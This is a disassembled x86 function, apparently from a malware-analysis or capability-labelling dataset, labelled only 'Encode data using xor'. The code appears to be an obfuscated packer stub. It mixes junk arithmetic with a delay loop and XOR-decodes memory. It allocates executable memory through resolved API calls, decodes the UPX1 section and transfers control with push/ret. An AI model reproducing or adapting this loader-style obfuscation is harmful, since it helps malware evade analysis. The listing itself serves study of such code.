Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd6e8b495
or ebx, eax
sub eax, ebx
add ebx, 0x95cc2fa2
popal
sub ebx, 0xdb79d1ba
add ebx, eax
dec ebx
mov esi, 0
mov edx, eax
mov ecx, 0xfd76bed8
mov ecx, 0x4ca0893b
mov ecx, 0xebef41f1
mov ebx, edx
mov edi, ecx
sub ecx, edi
mov eax, ebx
mov ecx, edi
add edi, edi
add edi, edi
inc esi
or ecx, ecx
dec ecx
dec ecx
cmp esi, 0x100c0fc
jne 0x47b453
sub edi, 0xd054bca7
add ecx, edi
mov ecx, 0xb65458f9
mov eax, 0xb73a6a4d
dec eax
add ebx, ebx
mov eax, 0x47b21e
or ecx, edi
inc esi
mov ebx, 0x47b412
sub esi, 0xc6497f64
add ecx, esi
dec esi
mov edx, dword [eax]
mov edi, 0xabdf445b
dec edi
sub esi, 1
and edx, 0xff
sub ecx, 0x7abebeac
add edi, 1
add edi, 0x463ccb6
xor dword [ebx], edx
mov ecx, 0x7e0adbc2
not edi
sub edi, esi
add ebx, 1
sub ecx, esi
and edi, ecx
inc eax
add edi, edi
sub ecx, esi
cmp ebx, entry0
jl 0x47b4ae
or ecx, edi
add edi, 0x22cd2c6d
sub edi, 0xcce41f47
add esi, 0x349eaa91
sub ecx, edi
sub ebx, edx
sub edx, ecx
mov esi, 0x47b416
add ecx, 0xef610953
mov edx, 0x826bc381
mov esi, dword [esi]
sub edi, 0xe14f74f7
and ebx, ecx
add edx, ebx
mov esi, dword [esi]
and edx, ebx
inc ebx
sub ebx, edx
sub esp, 4
mov dword [esp], esi
sub edi, 0x58dd4d69
dec edx
add ecx, 0xa6a6473b
mov esi, 0x47b412
dec ebx
and edi, ecx
mov esi, dword [esi]
mov ebx, ecx
inc ebx
mov esi, dword [esi]
dec ebx
add ebx, 0xe41631fa
mov edi, 0xac0a73f9
sub esp, 4
mov dword [esp], 0x47b41a
mov edi, 0xb13c3a1e
add ebx, 0xbfd3f1b9
call esi
mov ecx, ebx
add ecx, edi
pop esi
add ebx, 1
not edi
sub esp, 4
mov dword [esp], 0x47b427
and edi, edi
add ecx, 0xd24cab06
dec ebx
push eax
add ebx, 0x371651fc
or ebx, ebx
dec ecx
call esi
mov ecx, edx
and ebx, edx
sub edi, edx
push 0x40
add edx, 0x524512d5
not edi
add ecx, 0xb9d7d6e8
push 0x3000
sub edi, ecx
or edx, ebx
mov ecx, edx
push 0x20000e35
mov edx, 0xb6e3c76
sub ecx, ebx
sub ecx, 0xeb7033bd
push 0
not edi
sub edi, edx
dec ebx
call eax
not edx
mov ebx, edx
add eax, 0x20000db3
dec ebx
and edx, ebx
add edx, 0x887b8950
mov esi, 0x970fe27d
mov edx, ecx
not edx
and ebx, ecx
mov dword [eax], esi
add ecx, 0x5589037f
sub ebx, 0x2cce1cb
mov edx, ecx
mov esi, dword [eax]
not ebx
sub ecx, edi
cmp esi, 0x970fe27d
je 0x47b62d
mov ebx, 0
mov dword [ebx], edx
sub ecx, edx
or edi, edi
and ebx, ecx
sub ebx, edi
not edi
inc edi
add ebx, 0xcb6a774f
sub ebx, 0x83dbfc56
inc eax
mov ecx, section.UPX1
sub eax, ebx
sub eax, 0x4591a116
and ebx, eax
mov edx, 0x47b21d
and ebx, ebx
dec ebx
mov edi, 0
mov eax, 0xcd54de96
sub eax, 0xafb9dec8
add ebx, ebx
mov esi, 0x47b21e
mov eax, ebx
mov eax, 0xf0e23bb1
lea esi, [esi + edi]
or eax, eax
add eax, 0x74d04b1c
mov esi, dword [esi]
mov eax, 0xd3768db
add ebx, 0xc4756b0b
and esi, 0xff
or eax, ebx
dec eax
inc edi
not ebx
sub eax, 0x445a9463
cmp edi, 0x1f4
jne 0x47b6b1
mov edi, 0
inc eax
mov eax, ebx
dec eax
dec ebx
xor dword [ecx], esi
sub ebx, eax
mov eax, ebx
add ecx, 2
sub ebx, 0x59293cd1
inc ebx
cmp ecx, edx
jl 0x47b66e
mov ebx, 0x4f482bb9
and ebx, eax
sub eax, ebx
sub eax, 0xf610b08c
mov edi, section.UPX1
add eax, eax
not eax
mov esi, section.UPX1
add eax, 1
or eax, eax
mov eax, 0xe23ecc7c
mov ecx, 0x47b21d
add ebx, 0x383a7cc8
add eax, 0xffedd9d9
mov edx, 0
mov ebx, 0x7c357b2c
sub ebx, eax
mov dl, byte [esi]
not ebx
dec eax
mov byte [edi], dl
add ebx, 0x6f205fdf
mov ebx, 0x778ba962
add edi, 1
and eax, eax
add eax, 1
add esi, 2
sub ebx, eax
mov eax, 0xfafdf08b
cmp esi, ecx
jle 0x47b718
inc eax
add eax, 1
add eax, 0xd0fe5092
sub eax, ebx
push 0x45e6a0
dec eax
add ebx, 0x8b91f3e4
ret